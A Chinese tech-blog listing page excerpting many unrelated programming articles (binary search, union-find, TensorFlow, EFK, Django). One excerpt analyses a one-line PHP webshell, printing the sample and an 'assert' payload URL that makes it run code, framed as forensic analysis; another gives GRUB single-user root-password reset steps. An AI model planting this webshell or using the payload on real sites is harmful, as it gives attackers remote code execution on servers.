对于二分法的抽象概括 算法 二分

在算法编写过程中,二分是经常用到的一个算法,它往往是用于对于枚举算法时间复杂度的优化(甚至有些时候用枚举算法是行不通的)。 应用二分法的抽象数学条件大致如下: 1、答案是数值。 2、答案在一个可以确定的有限范围内。 3、答案是这个有限范围的一个划分。具体来说:答案本身和数轴上它左(右)边的数满足某种性质A,而数轴上在答案右(左)边的数满足另外一种性质B,其中A,B是相对立的两种性质(即对于一个数x,它在性质A,B中满足且只满足一个)。 4、存在一种可行算法,可以判断x满足性质A or B。 具
分类: 其他 发布时间: 10-30 23:01 阅读次数: 0

Linux忘记Root密码怎么找回

进入1级别,单用户模式 ,修改root密码即可(运行级别不懂看这里) 具体操作如下: 1.开机时按enter键 2.进入GRUB界面 3.输入 e,在引导系统前编辑命令 4.选择第二行 kernel 开头的那一行,即编辑内核 5.再输入e,出现如下界面 6.输入一个空格,然后输入一个数字1,即引导系统后启动的运行级别为1,单用户模式,此时该模式可以修改root密码 7.输入回车enter键,保存并回到上一级 8.此时按b,开始引导,稍微等待一下 9.启动后直接到root用户下了,此时就可以执行
分类: 其他 发布时间: 10-30 23:01 阅读次数: 0

Ubuntu+QEMU+Xv6环境搭建

操作系统:Ubuntu 16.04 32位 虚拟机:VMware 模拟器:QEMU 之前有一台centos 64位虚拟机,使用源码安装配置环境,出了一些列问题,最终环境都已经配好了,也能够在qemu上运行Xv6,但是想跟着lab做实验的时候,各种编译器内部错误,实在懒得折腾这些了,于是决定新安装一台ubuntu 32位虚拟机; 以下为步骤记录: 1. 安装qemu,为了方便,直接使用apt-get安装;安装过程也比较慢,不过比自己编译省力太多; sudo apt-get install qem
分类: 其他 发布时间: 10-30 23:01 阅读次数: 0

十月末析题相关之并查集

对于第一次女生训练的析题相关: 首先是第一题: How Many Tables Today is Ignatius' birthday. He invites a lot of friends. Now it's dinner time. Ignatius wants to know how many tables he needs at least. You have to notice that not all the friends know each other, and all th
分类: 其他 发布时间: 10-30 23:01 阅读次数: 0

tf.Session()函数的参数应用(tensorflow中使用tf.ConfigProto()配置Session运行参数&&GPU设备指定)

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/dcrmg/article/details/79091941 tf.ConfigProto()函数用在创建session的时候,用来对session进行参数配置: config = tf.ConfigProto(allow_soft_placement=True, allow_soft_placement=True) config.gp
分类: 其他 发布时间: 10-30 23:01 阅读次数: 0

element之input输入搜索联想框

1. 模板代码 <el-autocomplete :minlength="2" v-model="searchName" :fetch-suggestions="querySearchAsync" placeholder="请输入内容" @select="handleSelect"></el-autocomplete> 2. js 代码 querySearchAsync(queryString, cb) {
分类: 其他 发布时间: 10-30 23:00 阅读次数: 0

转载他人的efk搭建文章后边有链接和地址 EFK教程 - EFK快速入门指南

小慢哥Linux运维 原创精品/技术分享/经验总结 博客园 首页 新随笔 联系 订阅 管理 EFK教程 - EFK快速入门指南 通过部署elasticsearch(三节点)+filebeat+kibana快速入门EFK,并搭建起可用的demo环境测试效果 作者:“发颠的小狼”,欢迎转载与投稿 目录 ▪ 用途 ▪ 实验架构 ▪ EFK软件安装 ▪ elasticsearch配置 ▪ filebeat配置 ▪ kibana配置 ▪ 启动服务 ▪ kibana界面配置 ▪ 测试 ▪ 后续文章 用途
分类: 其他 发布时间: 10-30 23:00 阅读次数: 0

多线程下集合不安全问题

public class CollectionDemo { public static void main(String[] args) { List<String> list = new ArrayList<String>(); for (int i = 1; i < 40; i++) { new Thread(() -> { list.add(UUID.randomUUID().t
分类: 其他 发布时间: 10-30 23:00 阅读次数: 0

WebShell代码分析溯源(一)

WebShell代码分析溯源(一) 一、一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二、代码分析 1、调整代码格式 <?php $_GET['POST']($_POST['GET']); ?> 2、分析代码,首先以GET方法接收url中POST参数传递的值,然后又以POST方法接收GET参数传递的值,因此可以构造payload:http://www.test.com/test.php?POST=assert,这样就相当于一句话木马变成这样: <
分类: 其他 发布时间: 10-30 23:00 阅读次数: 0

web网页简单设计补充的css知识点

主要针对设计网页时候可能涉及到的参数补充几点知识点
分类: 服务端 发布时间: 10-30 23:00 阅读次数: 0

Spring Cloud 网关服务 zuul 二

有一点上篇文章忘了 讲述,nacos的加载优先级别最高。服务启动优先拉去配置信息。所以上一篇服务搭建我没有讲述在nacos 中心创建的配置文件 可以看到服务端口和注册中心都在配置文件中配置化 属性信息 上一篇我们讲了如何搭建网关zuul 服务。实现了基本的转发功能。这篇文章我们要讲述zuul过滤器的使用。和三个参数的使用 sensitiveHeaders 属性关键字声明:Spring Cloud微服务实战 书中意思为放行字段。而小编在官方文档查看到是忽略不放行的意思。请注意此处,看过Sprin
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0

多表连接课堂小结day35

昨日回顾 1.表的操作: 增: create table 表名( 字段名 字段类型[字段的约束], 字段名 字段类型[字段的约束] )charest = utf8; 字段类型: 数字: 整型: tinyint、smallint、int、mediumint、bigint 区别:取值范围不一样,加上unsigned,代表只能取整数 浮点数: float、double、decimal(10,5) 如果,保存的是工资类型的话,使用decimal 字符串类
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0

jupiter的@TempDir 等不生效

jupiter与junit是 完全独立的测试组件,要严防在测试中将二者混用。 最好在依赖引入jupiter 时 就将junit的依赖干掉,以防在写测试用例时将二者混用。 不会报错,但是会导致 jupiter的一些注解无效。 比如,题主在进行文件测试时 利用@TempDir 生成临时文件,但是无论如何都不生效 ,始终为null, 但是在其他人的项目中又完全没问题,对比依赖发现题主在测试方法 @Test 使用的 是org.junit.Test。 但是只有org.junit.jupiter.api.
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0

深谈并查集

我们理解并查集这个数据结构的时候不要过于死板, 我们要知道 并查集是用来维护关系的,而不是单纯一味去归,并,归,并,归,并 以前我就是一味的只知道 归,并,归,并 要深刻理解只有通过做题来打磨 https://www.luogu.org/problem/P2502 吐槽:这道题把我坑惨了 花了半晚上去做,最后发现我的思路是错的 应该开始看数据范围的时候就该察觉了 说到底还是对并查集理解不够深刻 分析: 先对边进行排序 再n^2^枚举,跑生成树跟新答案 开始枚举的i一定是minn 最后枚举到fi
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0

[SHOI2015]激光发生器,计算几何 直线相交

https://www.lydsy.com/JudgeOnline/problem.php?id=4595 算是比较明显的线段相交应用题, 涉及到:方向向量,直线相交,点在线段上的判断,直线的方向判断,向量求夹角,向量的旋转 感觉acm赛制下很容易错几次,但是只要写对了总能ac, 而oi赛制想直接拿到满分就很难很难了... 坑点的话,用atan2求向量夹角会出大事,基本过不去 #include<iostream> #include<streambuf> #include<string>
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0

Github问题:fatal: unable to access 'https://github.com/LIU-HONGYANG/Algorithm.git/': The requested URL returned error: 403

在向服务器push之后,出现如下问题: The requested URL returned error: 403 解决路径如下: 参考文章: https://stackoverflow.com/questions/15381198/remove-credentials-from-git
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0

cookie与session,Django中间件,跨站请求伪造

cookie与session,Django中间件,跨站请求伪造 一.cookie与session Cookie的由来 因为HTTP协议是无状态的,就是说你没次访问一个网站就像是第一次访问.因此就诞生的Cookie. 什么是Cookie Cookie具体指的是一小段信息,它是由服务器发出来的存储在浏览器上的一组组的键值对,当你的浏览器下次再访问时,就会携带这些信息,以便服务器来提取有用的信息. Cookie cookie的工作原理: 由服务器产生的内容,浏览器收到请求后保存在本地,当浏览器再次访
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0

数据类型之字符串(string)(四)

字符串本质是:字符序列 不可变 # 字符串编码,Unicode ord('A') ord('王') # 创建字符串,引号 a = 'Hello python!' b = "I'm a teacher!" c = """ name age job """ d = '' # 空字符串 # 转义字符 “\+特殊字符” """ \(在行尾时) 续行符 \\ 反斜杠符号 \' 单引号 \" 双引号 \b 退格 \n 换行 \t 制表符 \r 回
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0

CentOS安装相应版本的内核源码

昨天接到同事给安排的新任务,测试系统性能;网上查了些资料,目测perf功能很强大,而且是内核源码自带的,编译安装即可使用;看了下自己的虚拟机,没有内核源码,好吧,装一个; 查看一下系统版本: 1 #cat /etc/redhat-release 2 CentOS Linux release 7.5.1804 (Core) 3 4 #uname -r 5 3.10.0-862.el7.x86_64 去CentOS官网找对应的内核源码包,下面地址,进去找到与版本信息对应的源码目录,找到
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0

Luogu-SP1026

题面 分析 设dp[x]为已掷出x个面后到掷出所有面状态的期望次数,每个色子每面被掷出的概率是$ \frac{1}{n} \(,掷出x个面后再掷到已掷出面概率为\) \frac{i}{n} $ ,掷到未掷出面的概率为$ \frac{n - i}{n} $,掷出后达到的状态分别为i与i+1,且掷出本身也增加一次次数,则有 \[ f[i] = \frac{n-i}{n}f[i + 1] + \frac{i}{n}f[i] + 1 \] 化简后有 \[ f[i] = f[i + 1] + \frac
分类: 其他 发布时间: 10-30 22:50 阅读次数: 0